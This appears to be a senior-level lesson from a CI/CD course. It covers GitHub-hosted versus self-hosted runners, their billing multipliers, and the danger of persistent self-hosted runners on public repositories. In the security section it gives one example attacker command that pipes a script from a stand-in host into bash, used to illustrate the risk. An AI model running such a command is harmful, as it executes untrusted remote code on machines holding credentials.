open atlas
↑ Back to track
CI/CD pipelines CICD · 11 · 01

Hosted vs self-hosted runners: the spec, the bill, and the public-repo trap

GitHub-hosted runners are 4 vCPU / 16 GB, billed per minute (~$0.008/min Linux at 1x), with larger runners costing a vCPU multiple. Self-hosted runners are free of compute minutes but cost you machines, maintenance, and — on public repos — a code-execution attack surface.

CICD Senior ◷ 16 min
Level
FoundationsJuniorMiddleSenior

The invoice landed at $9,400 for one month of Actions minutes, and the finance lead wanted a name attached to it. The platform team pulled the usage report: 70% of the spend came from one nightly matrix that fanned out to 48 jobs, each on a macos-latest runner. macOS minutes bill at a 10x multiplier — every macOS minute costs as much as ten Linux minutes — and the matrix only needed macOS for two of its 48 legs. The other 46 were running Go unit tests that would have been identical on Linux. Moving those 46 legs to ubuntu-latest cut the macOS footprint by 96% and the monthly bill to under $1,100. The fix took twenty minutes; the lesson was that nobody had read the billing multipliers, so a one-line runs-on choice had been quietly costing five figures a year.

What a hosted runner actually is

Before you can reason about the bill, you need to know exactly what you are paying for — and the OS multiplier is what trips up most teams.

A GitHub-hosted runner is a fresh, ephemeral VM provisioned for a single job and destroyed afterward. The standard Linux and Windows runner is 4 vCPU, 16 GB RAM, 14 GB of SSD — enough for most build-and-test work, tight for memory-hungry compilers or large Docker builds. macOS runners are larger (the standard tier is bigger because Apple silicon hosts are). The key properties: clean slate every run (no state leaks between jobs), preinstalled toolchains (the runner-images set updated weekly), and a hard 6-hour per-job and 35-day per-workflow ceiling.

Billing is per minute, rounded up, with an OS multiplier:

  • Linux: 1x — roughly $0.008/min on the standard runner.
  • Windows: 2x — same minute counts twice.
  • macOS: 10x — same minute counts ten times.

Larger runners (8, 16, 32, 64 vCPU) bill at a multiple of the base per-vCPU rate and are not included in the free monthly minutes — only standard runners draw from the included allowance (2,000 min/month on the Free plan for private repos; public repos are free on standard runners). The multiplier math is the single biggest lever on the bill: a job that does not need macOS or Windows should never runs-on them.

Quiz

A test job takes 5 minutes of wall-clock time. The same job is run on ubuntu-latest, windows-latest, and macos-latest. How many billed minutes does each consume, and which costs the most?

Self-hosted: free minutes, real costs, real risk

A self-hosted runner is a machine you register with GitHub via the runner agent. GitHub charges no compute minutes for it — the trade is that you now own the box: provisioning, OS patching, disk cleanup between runs, security hardening, and capacity. Self-hosted wins when you need hardware hosted runners do not offer (GPUs, ARM at scale, huge RAM, on-prem network access to private artifact registries or databases), or when sustained 24/7 build volume makes always-on owned hardware cheaper than per-minute hosted minutes.

The trap that ends careers: never attach a self-hosted runner to a public repository. A pull request from a fork runs the workflow it ships — including a workflow that the attacker rewrote to run curl evil.sh | bash on your runner. On a hosted runner that is a throwaway VM; on a persistent self-hosted runner inside your network, it is remote code execution against your infrastructure with whatever credentials that machine holds. GitHub’s own docs warn against it in bold. If you must run untrusted code, use ephemeral runners (registered with --ephemeral, torn down after one job) and isolate them in a network that can reach nothing valuable.

Why this works

Why is ephemeral the dividing line for safety? A persistent runner accumulates state — a poisoned cache, a leftover credential in the environment, a backdoor written to disk by job N — that job N+1 inherits. Ephemeral runners are provisioned fresh and destroyed after a single job, so a compromised job cannot persist anything into the next one. It is the same property that makes hosted runners safe by default: one job, one VM, then gone. Self-hosted only approaches that safety when you rebuild the runner per job.

Picking the boundary

The decision is rarely all-or-nothing. Most mature setups are hybrid: hosted runners for the default trusted path (PRs from collaborators, main-branch builds) and a self-hosted pool only for the jobs that genuinely need special hardware or network reach. The cost calculus: hosted is cheaper until your steady-state concurrent demand is high enough that always-on owned capacity beats per-minute billing — and even then you inherit the operational burden of keeping that pool patched, sized, and secure. Start hosted; move specific jobs to self-hosted when a concrete need (cost at scale, hardware, network) justifies the maintenance you are signing up for.

Quiz

Why is attaching a persistent self-hosted runner to a public repository considered a critical security mistake?

Recall before you leave
  1. 01
    State the hosted-runner spec and the per-OS billing multipliers, and explain why the OS choice is the biggest cost lever.
  2. 02
    Why must self-hosted runners on public repos be ephemeral, and what is the failure mode otherwise?
Recap

A GitHub-hosted runner is a throwaway VM — 4 vCPU, 16 GB RAM, 14 GB SSD on the standard tier — provisioned fresh per job, preloaded with weekly-updated toolchains, capped at 6 hours per job. You pay per minute rounded up, and the OS multiplier dominates the bill: Linux 1x at roughly $0.008/min, Windows 2x, macOS 10x, with larger 8–64 vCPU runners adding a further multiple and falling outside the included free minutes. The cheapest, most reliable cost lever is therefore the runs-on line: run on the smallest OS that works, and reserve Windows and macOS for the legs of a matrix that truly require them. Self-hosted runners flip the trade — GitHub bills no compute minutes, but you now own provisioning, patching, cleanup, sizing, and security, and they only pay off when you need hardware hosted runners lack or when sustained concurrent volume makes always-on owned capacity cheaper than per-minute hosted minutes. The hard rule is security: a persistent self-hosted runner on a public repository is a remote-code-execution target, because a fork’s pull request runs the workflow it ships and can execute attacker commands on a machine inside your network with leftover state for the next job to inherit. If untrusted code must run, use ephemeral runners — fresh per job, destroyed after — isolated in a network that reaches nothing valuable. Most mature setups stay hybrid: hosted for the trusted default path, a small self-hosted pool only where a concrete hardware, network, or scale need justifies the maintenance. Now when you see a spiking CI bill, your first question is: which runs-on label is wrong — and is there a persistent runner sitting on a public repo?

Practice

Start at the top. Tasks go easiest → hardest: recall a fact, apply it to a case, then a senior-level stretch. Open one, attempt it, then reveal.

recallapplystretch0 of 5 done

Something unclear?

Ask a question about this lesson. Questions are anonymous and go straight to the author to make the lesson better.

shortcuts expand
search
K
prev piece
k
next piece
j
cycle tier
t
this menu
?
sources3
expand
  1. 01
  2. 02
  3. 03

Trademarks belong to their respective owners. Editorial reference only.